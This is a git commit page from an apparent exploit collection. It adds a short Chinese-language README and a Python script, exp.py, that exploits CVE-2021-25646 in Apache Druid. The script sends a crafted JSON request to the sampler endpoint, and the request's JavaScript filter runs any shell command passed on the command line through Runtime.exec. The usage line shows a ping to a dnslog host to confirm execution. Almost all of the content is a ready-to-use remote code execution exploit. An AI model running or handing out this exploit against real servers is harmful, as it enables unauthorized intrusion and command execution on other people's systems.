add CVE-2021-25646 (Druid RCE)
This commit is contained in:
parent
e777c48a8d
commit
9a6e37b6a0
7
24-Druid/CVE-2021-25646/README.md
Normal file
7
24-Druid/CVE-2021-25646/README.md
Normal file
@ -0,0 +1,7 @@
|
||||
# Apache Druid 远程代码执行 CVE-2021-25646
|
||||
|
||||
## 使用方法
|
||||
```shell
|
||||
python exp.py -u [--url] -c [--command]
|
||||
python exp.py -u http://127.0.0.1:8888 -c "ping xxx.dnslog.cn"
|
||||
```
|
67
24-Druid/CVE-2021-25646/exp.py
Normal file
67
24-Druid/CVE-2021-25646/exp.py
Normal file
@ -0,0 +1,67 @@
|
||||
import copy
|
||||
import sys
|
||||
from optparse import OptionParser
|
||||
import requests
|
||||
import json
|
||||
|
||||
requests.packages.urllib3.disable_warnings()
|
||||
|
||||
|
||||
def title():
|
||||
print('[+] ------------------------------------------')
|
||||
print('[+] Github: https://github.com/j2ekim')
|
||||
print('[+] Version: Apache Druid < 0.20.1')
|
||||
print('[+] 使用格式: python3 exp.py --help')
|
||||
print('[+] ------------------------------------------')
|
||||
|
||||
|
||||
def scan(host, command):
|
||||
url = str(host) + "/druid/indexer/v1/sampler"
|
||||
headers = {
|
||||
"User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.16; rv:85.0) Gecko/20100101 Firefox/85.0",
|
||||
"Accept": "application/json, text/plain, */*",
|
||||
"Accept-Language": "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2",
|
||||
"Content-Type": "application/json"
|
||||
}
|
||||
payload = {"type": "index", "spec": {"ioConfig": {"type": "index", "inputSource": {"type": "inline", "data": "{\"isRobot\":true,\"channel\":\"#x\",\"timestamp\":\"2021-2-1T14:12:24.050Z\",\"flags\":\"x\",\"isUnpatrolled\":false,\"page\":\"1\",\"diffUrl\":\"https://xxx.com\",\"added\":1,\"comment\":\"Botskapande Indonesien omdirigering\",\"commentLength\":35,\"isNew\":true,\"isMinor\":false,\"delta\":31,\"isAnonymous\":true,\"user\":\"Lsjbot\",\"deltaBucket\":0,\"deleted\":0,\"namespace\":\"Main\"}"}, "inputFormat": {"type": "json", "keepNullColumns": 'true'}}, "dataSchema": {"dataSource": "sample", "timestampSpec": {"column": "timestamp", "format": "iso"}, "dimensionsSpec": {}, "transformSpec": {"transforms": [], "filter": {"type": "javascript", "dimension": "added", "function": "function(value) {java.lang.Runtime.getRuntime().exec('00000')}", "": {"enabled": 'true'}}}}, "type": "index", "tuningConfig": {"type": "index"}}, "samplerConfig": {"numRows": 500, "timeoutMs": 15000}}
|
||||
a1 = "function(value) {java.lang.Runtime.getRuntime().exec('%s')}" % command
|
||||
payload2 = a1
|
||||
payload["spec"]["dataSchema"]["transformSpec"]["filter"]["function"] = payload2
|
||||
|
||||
try:
|
||||
rep = requests.post(url=url, headers=headers, data=json.dumps(payload), timeout=5, verify=False)
|
||||
if rep.status_code == 200:
|
||||
print("[+] 漏洞存在,请前往dnslog平台再次确认")
|
||||
else:
|
||||
print("[-] failed! Error: ConnectionError")
|
||||
|
||||
except requests.exceptions.ConnectionError:
|
||||
print("[-] failed! Error: ConnectionError")
|
||||
|
||||
except requests.exceptions.Timeout:
|
||||
print("[-] failed! Error: Timeout")
|
||||
|
||||
except:
|
||||
print('[-] failed! Error: Unkonwn error0')
|
||||
|
||||
|
||||
def main(url, cmd,usage):
|
||||
if url == None and cmd == None:
|
||||
print(usage)
|
||||
elif cmd == None:
|
||||
print("command not null")
|
||||
print(usage)
|
||||
else:
|
||||
scan(url, cmd)
|
||||
|
||||
|
||||
if __name__ == '__main__':
|
||||
usage = ("Usage: python exp.py -u [--url] -c [--command] target\n"
|
||||
"python exp.py -u http://127.0.0.1:8888 -c \"ping xxx.dnslog.cn\"\n")
|
||||
parser = OptionParser(usage=usage)
|
||||
parser.add_option('-u', '--url', dest='url', help='help')
|
||||
parser.add_option('-c', '--command', dest='command', help='help')
|
||||
(option, args) = parser.parse_args()
|
||||
url = option.url
|
||||
command = option.command
|
||||
main(url, command,usage)
|
BIN
24-Druid/CVE-2021-25646/img1.png
Normal file
BIN
24-Druid/CVE-2021-25646/img1.png
Normal file
Binary file not shown.
After Width: | Height: | Size: 40 KiB |
Loading…
x
Reference in New Issue
Block a user